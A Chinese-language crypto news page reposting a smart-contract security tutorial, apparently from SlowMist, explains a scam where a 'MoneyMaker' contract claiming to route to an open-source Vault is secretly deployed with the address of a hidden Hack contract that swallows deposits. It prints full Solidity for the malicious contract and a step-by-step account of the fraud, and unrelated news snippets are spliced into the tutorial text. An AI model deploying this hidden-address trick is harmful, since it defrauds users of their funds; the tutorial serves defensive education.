链资讯 链资讯
Ctrl+D收藏链资讯

ONE:智能合约安全审计入门篇 —— 移花接木_Money

作者:

时间:

概述

上期我们了解了利用 tx.origin 进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个 A 合约并告诉受害者我们会在部署 A 合约的构造函数中传入 B 合约的地址并将 B 合约开源,其实我们会在部署 A 合约时传入 C 合约的地址,如果受害者完全信任我们没有检查部署 A 合约的那笔交易,我们就完美的将恶意代码隐藏在了 C 合约中。我们可以从下图来理解这个逻辑:

用户以为的调用路径:

部署合约 A 传入合约 B 地址,这样调用路径为正常路径。

实际的调用路径:

部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}局分析

DeFi钱包Ambire集成支持智能合约平台Moonbeam Network:3月22日消息,DeFi钱包Ambire集成支持智能合约平台Moonbeam Network,用户可使用Ambire在Moonbeam和Moonriver上发送或接收加密货币,连接和使用基于Moonbeam/Moonriver的DeFi协议。[2022/3/22 14:10:08]

可以看到,上述代码中存在三个合约,我们先结合前置知识中的 A, B, C 三个角色来区分三个合约分别代表什么角色:

MoneyMaker 合约代表 A 合约;

Vault 合约代表 B 合约;

Hack 合约代表 C 合约。

所以用户以为的调用路径为:

MoneyMaker -> Vault。

而实际的调用路径为:

MoneyMaker -> Hack。

下面我们来看看攻击者如何完成局的:

1. Evil 部署 Vault(B) 合约并在合约中留存 100 ETH 资金,在链上将 Vault(B) 合约开源;

2. Evil 部署 Hack(C) 恶意合约;

3. Evil 放出消息说他将会部署一个开源的赚钱 MoneyMaker(A) 合约,部署时会将 Vault(B) 合约地址传入且会调用 Vault.setMacker() 将 maker 角色设置为 MoneyMaker 合约地址,任何人调用 MoneyMaker.makeMoney() 向合约中打入不少于一个以太都会得到双倍以太的回报;

USDC2.1版本发布,可自动阻止用户向智能合约发送USDC:4月27日消息,USDC运营公司centreConsortium宣布对以太坊区块链上USDCoin(USDC)协议和智能合约进行了升级,新版本(2.1版本)会自动阻止用户向智能合约发送USDC。另外,CentreConsortium还推出对误发到以太坊智能合约地址的USDC的找回服务。[2021/4/27 21:02:45]

4. Bob 收到消息,了解到 MoneyMaker 合约的存在,他看了 MoneyMaker(A) 和 Vault(B) 合约的代码并检查了 Vault(B) 合约中的余额发现逻辑确实如 Evil 说的那样,他在没有检查 MoneyMaker(A) 部署交易的情况下就相信了 Evil;

5. Bob 调用 MoneyMaker.makeMoney() 向合约中打入自己全部身家 20 ETH,在他满怀期待等着收到 Vault(B) 打来的 40 ETH 时等来的却是一句 "Haha, your ether is mine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil 在部署 MoneyMaker 合约时传入的并不是 Vault 合约的地址,而是传入了 Hack 合约的地址。所以当 Bob 调用 MoneyMaker.makeMoney() 时并不会像他想像中的那样 MoneyMaker.makeMoney() 去调用 Vault.transfer() 回打给他双倍的以太,而是调用了 Hack.transfer() 抛出了一个事件:"Haha, your ether is mine!"。最后 Evil 调用 Vault.withrow() 将 Vault 合约中的 100 ETH 转出,并通过 Hack.withrow() 将 Bob 转入的 20 ETH 转出。

OneSwap智能合约代码通过慢雾、成都链安、PeckShield安全审计:据海外媒体消息,OneSwap已9月6日顺利通过智能合约代码安全审计,此次审计工作由三家业内知名的安全公司慢雾科技,派盾PeckShield,成都链安完成。在审计过程中,三家独立的审计团队采取自身独特的策略对OneSwap智能合约代码进行全方位开展代码审计工作,以最大程度确保及时发现漏洞。

审计团队分别从攻击漏洞测试、合约复杂度分析、代码通用性、链上数据安全、代码逻辑等方面对OneSwap智能合约代码进行全方位的测试分析。OneSwap智能合约代码均符合三家安全公司的安全审核标准,审计中发现的问题目前都已解决或正在解决中。

OneSwap是一个基于智能合约的完全去中心化的交易协议,在CFMM模型的基础之上引入链上订单簿来改善AMM用户的交易体验。上币无需许可,可支持自动化做市、支持挂单挖矿、流动性挖矿和交易挖矿。据官方消息,Oneswap将在2020年9月7日正式上线并开启公测。[2020/9/7]

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

慢雾科技

个人专栏

阅读更多

金色荐读

金色财经 善欧巴

迪新财讯

Chainlink预言机

区块律动BlockBeats

Waves CEO:智能合约及DeFi区块链的兴起将推动比特币增长:Waves首席执行官Sasha Ivanov发推称,智能合约、DeFi区块链兴起将推动比特币的增长,而不是相反。比特币实际上解决了支付问题,但支付只是整个过程中的一小部分。[2020/8/29]

白话区块链

金色早8点

Odaily星球日报

MarsBit

Arcane Labs

MIT正在测试一个智能合同驱动的比特币闪电网络:上周,麻省理工学院(MIT)透露,其已经演示了比特币闪电网络的实验性用例,展示了如何将它与智能合约结合起来,使比特币网络不仅能够处理数百万笔交易,而且还能够以更高程度的复杂度来进行处理。MIT创造性地使用所谓的“预言机”(oracle,一种可信的实体,旨在向智能合约广播数据)使得演示的成功成为可能的。这是第一次有运行代码的原型实现。[2018/5/23]

标签:ONEMakerMoneyTRAmooney币价格走势makerdao白皮书MoneyswapTRAT

比特币价格实时行情热门资讯
NFT:Bankless:为什么 EigenLayer 让我们兴奋?_BSP

地平线上似乎出现了一个新的“纪元”。在加密之旅中,每隔一段时间,开拓者就会发现一种新的原语,从而改变整个行业的格局.

NFT:Sui很优秀 但没有区块也没有链 它只能是Web3世界的外围_x2y2币最新行情

作者:北辰 上周在《Sui是下一轮的行业叙事 or 上一轮的末日余晖?》的文章中的观点引发的讨论比较多,本来想用一篇文章来「小心求证」,但发现是给自己挖了一个大坑,后面才是慢慢填坑的时候.

SUI:速览ETHGlobal里斯本黑客松决赛10大项目_sui币前景如何

作者:金色财经0xnaitive2023年5月12日至14日,ETHGlobal Lisbon黑客松在葡萄牙里斯本举行.

区块链:项目周刊 | 比特币市占率回升至45.15% 周涨幅0.33%_Moon Maker Protocol

金色周刊是金色财经推出的一档每周区块链行业总结栏目,内容涵盖一周重点新闻、行情与合约数据、矿业信息、项目动态、技术进展等行业动态。本文是项目周刊,带您一览本周主流项目以及明星项目的进展.

MAKE:veDAO研究院:如何玩转BRC-20?_Maker

BTC 概念的加密货币有哪些?或许你脑海里最先浮现出来的是基于 BTC 生态分叉出来的衍生币.

比特币:美国银行危机再起 助推比特币强势反弹_MediBlocX

随着投资者担忧美国银行业危机进一步深化,比特币引领加密市场强势反弹。比推终端数据显示,比特币打破了连续五天的下跌趋势,突破2.9万美元,盘中一度触及3万美元,市值第二大加密货币以太坊上涨 4.5.